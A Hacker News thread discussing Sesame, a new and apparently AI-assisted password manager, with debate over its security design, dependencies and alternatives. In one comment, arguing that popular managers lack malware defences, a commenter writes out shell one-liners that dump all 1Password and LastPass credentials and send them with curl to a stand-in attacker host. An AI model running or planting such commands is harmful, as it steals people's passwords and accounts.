- I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all their features and slick UI, with no mention of what was wrong with the incredibly diverse set of existing password manager projects. A study I read a few months ago showed that old code has fewer bugs than new code, which seems intuitive but it's nice to have actual data on it as well
Why a whole new project that needs to re-learn the gotchas that the predecessors ran into? Could any grievances have been pull requests or, worst case, a fork?
- > A study I read a few months ago showed that old code has fewer bugs than new code, which seems intuitive but it's nice to have actual data on it as well
Which study? Old software has bugs that live for decades, even security bugs. I don't have a study to cite, just open bug trackers and CVE lists.
- Side note: have you experimented with different ones? Do you recommend any in particular?
- Can't have software bugs if you just write your passwords down on paper. /jk
- I wish there was a password manager with a different focus.
In the way where there would be a server (selfhosted) that has the passwords and is well protected. Then, on the server, I can configure access to the secrets on my clients and — and that is important — restrict the number of secrets that can be accessed per time. And on each client I want to be told if secrets got accessed by another client.
Because, optimally I would use passkeys and other means of authentication, except for initial auth. But if my client gets compromised I don't want it to be able to access and exfiltrate all secrets at once. That is basically the worst case scenario.
I don't understand why it's not common in password managers to have different categories of how important a secret is and better control/transparency to detect compromised clients and contain the impact.
- A vibe-coded password-manager? Sure! where do i sign up?
- It's also half-coded in Javscript, with a grand total of 881 unique dependencies (271 npm + 614 Rust; derived from 38 directly declared dependencies). What could possibly go wrong?!
- I never thought about wanting an HN comment as a wearable shirt before, but this ones one I would buy. But seriously, I love Claude and building all sorts of projects, but something as crucial as a password manager is a little bit too risky.
- I don't have an issue with a vibe coded password manager, LLMs are insanely good. The issue, atleast to me, is the UI is extremely low effort LLM slop. I'd have appreciated something native that was super fast.
- So you decrypt -any- password on a system with malware, and malware gets -all- the passwords. Makes life super easy for an attacker.
All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere.
To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy. Now as an attacker if I want to get the users whole database of 100 passwords I must trick them to tapping a blinking smartcard or touchid 100 times. Presumably the user would notice something is wrong, and stop. Damage control.
This is how I have been doing password management for over a decade with password store, the standard unix password manager. That tiny shell script is the -minimum- security any password manager must have.
I get that most major password managers like 1password and lastpass also get this wrong. I submit with a straight face that they have never let any capable security engineers near their products. They have a negligent design end to end and must not be replicated.
- Isn't this a fundamental issue with all popular password managers? Your setup where each decrypt requires a physical action is superior of course (even if an attacker is still likely to get 2-3 of the most important secrets before you start to investigate why a login isn't working), I just mean that most people don't have this and it's not a particular flaw with OP's implementation right?
- It is a negligent and blatant design flaw in all popular implementations, yes. Mooltipass and Password Store are the only two password managers to do the bare minimum. That is ridiculous.
Anyone who corrects this, with a good UX solution, will win the password manager wars. It is so so so easy to do, so it is unthinkable only the CLI password manager written in bash bothers to do it.
Ask an LLM to implement it for you if you must, but no one has any excuse to skip the most basic security function of a password manager: do anything at all to protect it from malware.
The bar for password managers is in hell.
- You can’t have a good UX with this setup, which is why none of the major password mangers do it.
- Of course you can.
Random non technical executive goes to a login page, and a popup happens on an external device like a phone or keychain dongle, watch, or any secondary display that asks "Allow aws.amazon.com root access to open browser tab on laptop xyz?" and if the page you are on right now says "doordash.com" and you did not ask to decrypt aws root credentials, then you say "nope, that does not seem right" and the attack is stopped cold.
The first mistake was letting non technical executive have aws root access in the first place, but the password manager only releasing a single credential at a time with a physical button press on a trusted screen can still be a last line of defense for our most sensitive credentials.
Being user friendly and being able to have any defense at all against malware are not mutually exclusive.
- What? This has nothing to do with encrypting each secret separately and requiring presence for decryption. Which I think is a good idea, it just has terrible UX.
- > Anyone who corrects this, with a good UX solution, will win the password manager wars.
In some technical sense, not necessarily in popularity.
- > That tiny shell script is the -minimum- security any password manager must have.
So any device without touchid or a yubikey can't use a password manager without typing out your full master password every time you want to access any password?
- Every modern device under the sun ships with a hardware security module of some kind which could, if nothing else, rate limit decryptions and ensure decryptions can only happen on that machine. There are so so many hardware anchors free for the taking.
The same hardware Microsoft, Google, and Apple use to verify you are running a "genuine" OS these days can also do general purpose encryption and decryption with rate limits and touch policies. Pick literally any of them. TPM, Passkeys, PIV, touchid, yubikeys, nitrokeys, the keycard to your last hotel room being touched on the hidden NFC reader most people do not know about under Dell touchpads. Use whichever one is the least shitty but not having a hardware anchor in a password manager is shipping a car without airbags.
- Sure, what does "the Secure Enclave or TPM could theoretically do this" do for me, if I've got a a trio of desktop PCs running macOS/Linux/Windows with no Touch ID between any of them and I want to keep my passwords synced and reasonably accessible?
- The most user friendly way for someone with only one device and no external trusted screens is with the help of a recovery enclave all your secrets are encrypted to.
Whenever you add a new secret, you have it encrypt a copy to ideally a smartcard on your keychain and as a hail mary to each of a quorum of of keys held by secure enclaves that run an open source remotely attestable VM using TDX or SEV-SNP for provably encrypted memory, proof it is not logging, etc. You can also shamir-split encrypt to m-of-n geodistributed key shares stored offline as a double hail mary. All of this would be automatic and transparent to the user.
When you add a new device you must approve from an existing device.
That cryptographic approval, ideally a passkey tap, can start a process to bulk decrypt passwords and re-encrypt them to the TPM key in the new device in a hosted remotely attestable secure enclave the device verifies. The user can be given a chance to cancel this transfer within a reasonable period of time like 48 hours. This extra time could be bypassed if a user has a second device attached to their account. A user could also release one credential at a time manually and explicitly on both devices following the usual rate limit rules etc, or bypass the limit if both devices can be directly connected, or use an offline recovery yubikey or last resort offline bootable recovery usb for expedited recovery as well, etc. Good to have multiple fallback recovery methods that tolerate at least one machine being compromised at all times.
This is just one example scheme. There are many many ways to solve this in a way users are protected without them having to learn to do anything more complicated than account recovery on any web service ever.
I really hope someone rips this off and runs with it. My team and I have open sourced everything required, as have many other teams.
- You use a yubikey? Duh?
- Apples SE doesn’t let you load a key, so you have to reencrypt your secrets for every Apple device you want them on… requiring hundreds of touches. The UX just sucks, which is why it’s not a thing.
- An optional remotely attestable secure enclave all secrets are encrypted to on first entry can however bulk encrypt secrets to a public key of each device bypassing the touch policy when adding new devices but still requiring a manual tap for each secret on each device if consent challenges on all involved devices and optional time delay policies are met.
- I’m really not sure what you’re trying to say? You have some magic device that can tell when you want you reencrypt everything for new devices versus just accessing your passwords? This doesn’t exist.
- It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better.
>All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere.
"""All""" they need is to get root? Most people access all key stuff on their own devices, and for the vast ultra super majority of the population and vital sites if their personal trusted device is rooted it's over regardless. Your "Now as an attacker if I want to get the users whole database of 100 passwords I must trick them to tapping a blinking smartcard or touchid 100 times" is total fucking make believe, completely ignoring normal things like RECOVERY FLOWS. If you have root on someone's computer and phone you have access to their email and probably messaging as well, and that will suffice to get into nearly everything including the majority of financial institutions (which even now have massive ones that don't even support HSMs at all, let alone leave no recovery route! looking at you Charles Schwab, with total client assets in excess of $12.5 trillion at the start of this year [0]). There isn't any need for "100 times" because most people don't have 100 different critical accounts, rather single digits or even just one actual one that has things like money or comms.
>This is how I have been doing password management for over a decade with password store, the standard unix password manager. That tiny shell script is the -minimum- security any password manager must have.
Literally laughing out loud here. If it's not easy enough for my friends in their 70s to use and like it's WORTHLESS to most security. Including on some level mine or yours, because security has key social/network effects beyond just individuals, stolen money, information, and access is used to fuel further security threats. Job #1 is to make something people like and works with most of what already exists. Otherwise it's yet another case of "ROTATE PASSWORDS EVERY 2 MONTHS NO USE X NUMBERS OH ALSO Y SPECIAL CHARACTERS NO NOT LIKE THAT" which results in everyone just leaving stuff on sticky notes on their screens and doing the bare minimum to fool the system and using the same thing or minor variants everywhere. Theorycrafted garbage made for robots not humans.
>I submit with a straight face that they have never let any capable security engineers near their products. They have a negligent design end to end and must not be replicated.
I submit with a straight face you are either literally working for a hostile agency to spread disinformation or you have serious neurodivergence or you are seriously and dangerously bubbled with an (un)healthy splash of Dunning-Kruger mixed in.
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0: https://pressroom.aboutschwab.com/press-releases/press-relea...
- Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise.
Exfiltrate all plaintext credentials from 1password:
op list items \
Exfiltrate all plaintext credentials from lastpass:| jq -r '.[].uuid' \ | xargs -n1 bash -c 'op get item "$1"' -- \ | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1lpass ls \
Stick one of those in a dependency of a dependency of a dependency of a popular NPM package and you can get access to developer accounts at every sector of the tech industry.| grep -oP '(?<=id: )([0-9]+)' \ | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- \ | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1Super easy to avoid with minimal change to user experience, and yet no one did because "no one else does".
Except for Mooltipass and Password Store, which unfortunately no one has heard of. It is the popular options with billions of dollars not doing the basics the niche open source ones do that is so unforgivable.
I just wish to not see others repeating those mistakes and putting users at increased risk for no reason. I know someone personally who had their savings account wiped out because malware dumped their lastpass database. A malicious browser plugin to sniff the master password is all it takes without a hardware anchor.
- Sticky notes is probably absolutely fine security wise if you’re not in an office/shared space.
- If you’re going to vibecode a site, at least write the copy yourself. AI text is exhausting to read.
- I still don’t get why password managers builders think it’s a great idea to store MFA token together with the password, totally defeating the purpose of MFA in the first place.
- I use this for MFA that's forced upon me, rather than MFA I request and want.
(It still protects against a password leak, though, so doesn't entirely defeat the purpose of MFA.)
- Depends what you think the purpose of MFA is.
By and large, I see it as protection for the service provider, not for the me - they prevent the service provider from having to deal with people using weak passwords or re-using passwords that get leaked.
By-and-large, given the option, I wouldn't enable MFA - I appropriately store my strong, unique passwords, and am satisfied with that level of security.
Having MFA forced on my is purely a convenience downgrade without any real security upgrade, and having my password manager automatically fill MFA tokens minimizes that convenience downgrade.
- As a second factor of authentication, a one-time passcode is supposed to be “something you have,” which is still satisfied when stored in a password manager. It no longer serves as a preventative in the event your password manager is compromised, but it’s still fine if any individual password is.
- Not really. MFA still protects against the much more common case where the password itself is compromised, either through a breach, reuse, phishing, interception, bad storage, etc. An MFA code is short-lived and can’t simply be reused later, unlike a password.
Keeping the password and MFA secret in the same password manager reduces separation (if someone fully compromises your vault, they will gain access to both factors). But that doesn’t make MFA pointless; it just means it doesn’t protect you against that particular failure mode.
And if someone has full access to your password manager, you already have a much bigger problem.
- How does it compare to KeePassXC?
- KeePassXC is definitely much more mature right now. I mean, Sesame is similar in being local-first and not requiring a cloud service, but I am aiming for a more modern consumer style experience. There is still a lot of work ahead to get it up to speed. I might also build more products around it eventually, so there’s a consistent ecosystem.
(and of course, it would be great to eventually surpass some of the existing projects :) )
- Curious what was the use case that drove the creation?
- What do you mean by a "consumer style experience"?
- subscription style paid program, of course. Starting at 1 dollar a month now, until they get market penetration, then they will jack up prices (for increased opex, ostensibly). The classic SaaS playbook.
- I like that this could be self hosted. I don't have anything against the big password managers (I use and pay for one), but they are a massive target for hackers for obvious reasons. If everyone could self host their own vault on a personal domain, the reward for hackers is much more difficult to get access to.
- I don't really have anything against the big password managers either. I just don't love having to pay for a full year upfront with some of them. More than that though, a lot of them just don't quite fit what I want, or they feel a bit dated to use, like KeePassXC. That's a big part of why I started building Sesame. (and hoping to expand later on to have a more pleasurable ecosystem)
- >I like that this could be self hosted.
For now. I note that all of the repos that are attached to the project have a license except sesame-server, which I do not think is an accident.
- This sounds an awful lot like PasswordSafe[0] in a different dress. Does it provide any features that set it apart?
- how does this compare to vaultwarden + bitwarden? my only concern there is that VW can throw self-host support out the door whenever they like. not that they'd have a reason to
- vaultwarden + bitwarden is way more mature right now, but the main difference is that sesame is local-first by design. Vaultwarden also depends on staying compatible with bitwarden's clients/api, while this owns the whole stack
- bitwarden clients are open source, so it would be possible to fork them if bitwarden ever makes user unfriendly decisions
- No offense but you might want to consider a different styling for the app/site because IMO this one screams "Claude vibe-code style".
- it _is_ vibe-coded, you can read the commit descriptions in sesame-desktop repo
I wouldn't trust any password manager or critical applications like this written after 2024
bitwarden/KeePassXC are already more than enough
- It's good that vibecoded software look vibecoded, because I then immediately know not to trust that it works, not to trust that it's secure, and not to trust that the maintainer will give a shit about it in six months.
- Yeah I can see what you mean, but it wasn't really intentional. I mainly wanted to avoid the usual black/blue security-product look. I will probably keep the general direction but give it more of its own identity over time. Thank you for sharing your opinion!
- How does it compare to a local deploy of PSONO?
- Does it purge passwords from memory on vault lock?
- Yes. Every lock entry point (manual, auto-lock timer, app shutdown) funnels through one function, so the behavior can't drift, that calls lock_for_lifecycle, which drops the unlocked session. Dropping UnlockedVault zeroizes the 32-byte vault key and the whole in-memory payload in place before deallocation: names, logins, notes, cards, SSH keys, TOTP material, history, trash. Parsed import rows are wiped on lock too, and a session epoch is bumped so any pending browser fill approval dies with the lock! (also to mention it does not cover swap and hibernation files) ((also to mention I couldn't link the lines to mentioned functions but if you want to take a look, look at these lines: src-tauri/src/vault/mod.rs:78 sesame-core/src/lib.rs:197 sesame-core/src/lib.rs:225 types.rs:2184 ))
- This response feels very AI generated. Which does not bode well for my faith in this project if the maintainer doesn’t even know basic facts about how it works and has to ask his AI.
- you got to pay 10 euro a year to self host?
- ive got my own pwd file using a short shell script in bashrc that uses nano, gpg and /dev/shm to keep things in memory (hopefully). works great, is minimalist and there are no hidden surprises.
49 points by d0mkaaa 10 hours ago | 61 comments